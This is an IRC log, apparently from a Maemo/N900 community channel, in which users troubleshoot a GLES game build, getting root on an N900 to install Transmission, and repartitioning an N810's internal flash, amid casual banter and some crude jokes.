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melanor9rst38h:  try  make -j 8 prefix=/opt SAVEDIR=/home/user/MyDocs/crawl-saves TILES=y GLES=y  for armel/x8621:48
RST38hit is sdl indeed, but not gles, the way it looks21:48
lcukthose do look delicious tho21:48
Noobmonk3yhehe , mandy wants her own cake shop, so each week after the hols she bakes, we do photography, and i'll do the website to get things going :)21:48
Noobmonk3yand by god they where!21:48
Noobmonk3ygot 2 next to me now21:48
RST38hmelanor9: 1) do not build for x86, it is useless21:48
crashanddiemelanor9: "-j8"? Seriously?21:48
melanor9it does need gles, cause they use SDL_gl for rendering21:49
RST38hmelanor9: 2) do GLES=n21:49
melanor9i do run 8 cores :)21:49
crashanddieunless you -pipe gcc, I doubt anything over 4 cores will vastly improve performance.21:49
melanor9rst38h: it doesnt matter, as long as GLES declared, it links against it :)21:49
RST38hok undefine it21:49
crashanddie(that is, for anything other than the initial compilation)21:49
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Noobmonk3ylcuk, if we come up your way will have to have a cake testing session ;) - comparison is allways good hehehe21:50
melanor9rst38h: it will fuk up21:50
lcukluke made lasagne today in school21:50
RST38hthat GLES=y is there for a reason21:50
lcukit tasted more like chili con carne21:50
* lcuk enjoyed it21:50
RST38hand the most likely reason is, it is optional21:50
Noobmonk3yhahaha, still edible, good start!21:50 error: 'GL_FLOAT' was not declared in this scope21:51 error: 'glVertexPointer' was not declared in this scope21:51 error: 'glTexCoordPointer' was not declared in this scope21:51 error: 'GL_UNSIGNED_BYTE' was not declared in this scope21:51 error: 'glColorPointer' was not declared in this scope21:51 error: 'GL_TRIANGLE_STRIP' was not declared in this scope21:51 error: 'GL_UNSIGNED_SHORT' was not declared in this scope21:51 error: 'glDrawElements' was not declared in this scope21:51 error: 'GL_LINES' was not declared in this scope21:51 error: 'glDrawArrays' was not declared in this scope21:51
melanor9make: *** [glwrapper-ogl.o] Error 121:51
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Noobmonk3yspaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam on toast21:51
* RST38h sighs21:51
RST38h[tiredly] melanor9: Look at the source code.See if that .cc file has any #ifdefs21:51
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RST38hGood chance is, you can ifdef it away, so that it never compiles and runs21:51
crashanddiehe's kicked21:52
Noobmonk3yoh well21:52
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kfxerror: /kick was not declared in this scope21:52
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melanor9i keep getting kicked :) havent used IRC for decade21:53
lcukwell before you get banned for another decade, learn to pastebin21:53
infobot[~pastebin] A "pastebin" is a web-based service where you should paste anything over 3 lines so you don't flood the channel. Here are links to a few : , , , , , , or install pastebinit with yum or aptitude.21:53
melanor9ty :)21:53
Noobmonk3ylol melanor921:54
* Noobmonk3y smiles at that one21:54
RST38h[tiredly] melanor9: Look at the source code.See if that .cc file has any #ifdefs21:54
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Noobmonk3ytwas like a virgin being kicked21:54
RST38hGood chance is, you can ifdef it away, so that it never compiles and runs21:54
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RST38hIf you do need GLES, there is a way to use it,at least for armel binaries21:54
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melanor9rst: i did looked through the sources, they do use SDL_gl, i do need GLES and i got it compiled for ARMEL, but i want to compile and debug for x86 cause i'm rather unfamiliar with armel architecture and it will be a hell  to debug a crash21:55
melanor9i need/use GLES and it initializes well and blah-blah21:56
RST38hx86 binaries are not representative of how your program will behave on the actual device21:56
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RST38hi.e. even if you compileit for x86, it won'thelp you much21:56
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melanor9okay. is there any good starter docs on armel arch?21:56
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melanor9have it worked ? :)21:59
melanor9rst38h: google is all fine and dandy21:59
melanor9but i'f you happen to ask a question on random forum21:59
melanor9and got reasonable reply… you are in NA :)22:00
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RST38hif you happen to ask a random question on a random forum, you will get a random reply22:00
melanor9if you got  a question in return… you are in   .IL :)22:00
RST38hyes,I am very well acquainted with this phenomenon. Google though.22:01
melanor9if you got  an elaborate explanation how retarded you are and why you should commit suicide - you are in russia :)22:01
RST38hThat too, and make sure you leave us a video.22:01
melanor9i already did :)22:02
melanor9visit chatroulette  :)))22:02
lcukmelanor9, are you sure it was only a decade since you were last here?22:03
Noobmonk3ylcuk, i last used irc before i came here in 2000!22:04
melanor9lcuk, probably more..22:04
lcukhowever did you keep yourself away for 10 years?22:04
melanor9err… real life ? like socializing and stuff...22:05
melanor9i sense a fat troll coming my way next minute :)22:05
merlin1991hm real life?22:06
infobotit has been said that rl is Real Life (the bad world out there), or known as the Big Blue Box (tm).  Conways game using only rational numbers22:06
merlin1991gotta try that one day ;)22:06
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melanor9i still think that scratchbox is retarded as IDE22:09
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melanor9i mean WTF, why   dont we have complete emulation of original device22:09
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lcuka complete emulation of hardware would not help :) you would run out of disk space and memory overhead quickly22:11
RST38hlcuk:Says who? =)22:12
melanor9i gighly doubt that22:12
lcukwell if it was a complete emulation it would have the same space and memory as main one :)22:12
melanor9i have 8GRAM22:13
kfxwhich isn't particularly much22:13
RST38hlcuk: Which, for Maemo hw, is not that difficult to achieve =)22:13
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maltemaxHello people. Is it advisable for non-developers to "break your device" – this is the question my n900 asks me when I go through the guide to install Transmission on it.23:12
lcukmaltemax, :)23:13
FIQyou're stuck at the gainroot place?23:13
maltemaxtyped command "sudo gainroot"23:13
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FIQwell, if you know what you're doing and risking, you can install rootsh from appmanager23:14
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FIQthat will dodge that msg23:14
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MohammadAG51install rootsh with the app manager first23:14
maltemaxI don't know what I'm doing really, just obediently following the guide23:14
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MohammadAG51then use the command root23:14
FIQwell, be sure to type exactly what's written then. :)23:14
maltemaxOk I will (;23:14
FIQbut yea, install rootsh before sudo gainroot works23:14
MohammadAG51then install transmission from the app manager23:15
FIQthat works too23:15
maltemaxI don't seem to find transmission from the app manager, but that would be the easiest thing of course23:15
lcukthe question was whether non-developers should get root23:15
maltemaxlcuk, yes that was my question too23:16
FIQi've got root, bricked my device, done things none else with a brain would do, and i'm not a dev. :D23:16
FIQbut i never do things that i've no idea what i'm doing23:16
lcuktransmission is in the -testing repository23:16
lcukie, you shouldnt need to touch the console or even install rootsh, but its an incomplete test package that likely will drain stuff (since it downloads stuff all the time)23:18
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maltemaxlcuk, it will drain my battery if I have it open, right?23:19
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maltemaxThat's okay though. I just want to download torrents everynow and then, e.g. eipedia packets23:20
SpeedEvilI think23:20
maltemaxspeedevil, yes23:20
deltnokia n810: any way to see the standard console at boot instead of a white screen with a nokia logo?23:20
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lcukdelt, afaik, it is possible but requires a whole new kernel etc23:21
delti moved stuff to the internal 2gb flash, forgetting it was a fucking WINDOWZ PARTITION - no more symlinks, no more user id's, no more group id's, no more file permissions..... *sigh*23:22
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deltnow i don't have the right USB cable or adapter to plug this to the PC.... so no way to un-brick it for now :/23:23
delt(why didn't they use a standard mini-usb plug like everyone else btw??)23:24
SpeedEvilmicro is the new standard for all phones23:25
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luke-jrN900 isn't a phone23:25
SpeedEvilIt's more reliable than mini.23:25
* SpeedEvil stabs luke-jr in the eye with a baguette.23:25
deltso the UI needs something in /usr/share/ BEFORE /media/mmcwhatever is mounted....23:25
ieatlintexcept on the n900, where the connector falls off :P23:25
* RST38h uses n900 to make phone calls hence iti s a phone.23:25
* luke-jr wonders if it's possible to build a normal USB port that can also take a Micro or Mini23:25
Corsaceverybody knows it's a mobile computer!23:26
luke-jrit's a Personal Mobile Tool!23:27
ieatlinthow about a Personal Mobile Smartphone, so we can say we're PMSing when using it23:28
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deltpda, tablet, personal mobile/whatever, pocket computer, .... pick your choose =)23:28
deltanyway, looks like i'm gonna need some cable or adapter to fix it *sigh* ..... :/23:29
SpeedEvildelt: You don't have the cable that comes with it?23:30
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delti think my brother has it23:30
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delti just moved some stuff out of /usr/share (icons, sounds, and some games stuff) to the internal 2GB and symlinked it... (the / partition had like 2mb free)23:32
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deltapparently, either the permissions/user/group-id's were necessary, or that stuff is necessary -before- the other filesystem gets mounted.23:32
SpeedEvilit's probably noexec23:33
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deltanyway, first thing im doing when i get the cable (or an adapter) is NUKE the windowz partition and reformat it ext3 (and change the entry in /etc/fstab)23:33
MNZdelt, apparently, it's not that easy23:34
SpeedEvildelt: What I did.23:34
MNZit IS that easy?23:34
SpeedEvildelt: tar up mydocs, put it in /home23:34
Meceheh the fonearena battle is raging :J23:34
deltyeah, i remember seeing noexec in the fstab23:34
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MNZI was told that some stuff depends on there being a vfat partition?23:34
Mece:) even23:34
SpeedEvildelt: Then unmount mydocs, fdisk it to 4G.23:34
deltSpeedEvil: of course, i keep a copy of everything that was on it first!!23:34
SpeedEvilPut another data partition onthere at 26ishG23:35
SpeedEvilmake that ext323:35
SpeedEvilthis way there is an easy way for the normal software to work as it normally does.23:35
SpeedEvilAnd for it to plugin to PCs and printers and ...23:36
SpeedEvilBut still have lots of storage for stuff.23:36
MNZMece, yay! the N900 is winning!23:37
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deltwhat about just tar.gz the whole 2gb windows partition, fdisk and reformat it to ext3/whatever decent FS, then put the stuff back23:37
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MeceMNZ, it's losing ground fast. was up by 400 a few minutes ago.23:37
MNZit's up by 336 now23:38
MNZvote folks~23:38
infobotMNZ meant: vote folks!23:38
deltSpeedEvil: what about just tar.gz the whole 2gb windows partition from the PC onto harddisk, fdisk and reformat it to ext3/whatever decent FS, then put the files back...?23:38
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SpeedEvildelt: Should work23:39
SpeedEvildelt: errr23:39
SpeedEvildelt: I know at one point that that did not work23:39
SpeedEvildelt: I do not kno if it continues to not work.23:39
SpeedEvildelt: Also - mydocs being vgat means you have lots more compartibility than ext223:39
deltsome process needed a sandbox/free-for-all mess with no perms/uids?23:39
MNZGoogle Ad: Unlocked N900 -$110.99 N900Phone.LightInTheBox.com23:40
MNZAmazing N900 With 2 Sim Cards. Free 2G Card, 7/24 Live Support!23:40
* delt gives 0 shit(s) about compatibility with windows.23:40
RST38hIs that live support in Chinese?23:41
MNZI sure hope it's in English because I just ordered one. Finally, an unlocked N900. What took them so long?23:41
deltheh infobot =)23:41
delthello worlf23:42
infobotdelt meant: hello world23:42
infobotMNZ: aw, gee23:42
deltwako wako wako wako23:42
infobotdelt meant: waka waka waka waka23:42
deltwako wako wako wako23:43
infobotdelt meant: waka wako wako wako23:43
deltsmart bot :D23:43
deltuses sed directly?23:44
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maltemaxlcuk: If I want to download a package from the link you posted, which one should I take?23:47
maltemaxlcuk: Transmission that is (sorry for being slow here, needed to read up on some of the stuff)23:47
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deltanyway.... gonna go get/find/look for the cable or "a cable" :/23:49
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deltoh btw, what limits the miniSD to 8 gigs?23:52
deltif the software supports it, you could stick a microSD 32gb in a micro-to-mini adapter...?23:52
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SpeedEvil32 should be supported23:53
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SpeedEvilit's just it wasn't available at the time23:53
deltas in, compile the kernel with more recent drivers for sd cards23:53
SpeedEvilNo, I mean by default23:53
SpeedEvilthere is no change between 8 and 3223:53
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deltn810 came out i think in 2008?23:53
delt16gb microsd cards were available by then...?23:54
SpeedEvilI _think_ it shoul work OK - but I don't have an 81023:54
SpeedEvilcertainly not23:54
SpeedEvilthey were only available earlier this year23:54
deltheh... my notion of time is slightly out of whack -)23:55
deltanyway, do you remember what didn't work with the internal 2gb flash being just one ext2/3 partition?23:55
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deltoh, and what would be the /dev names for individual partitions on a flash/sd card?23:56
delt(from maemo on the n810's point of view)23:57
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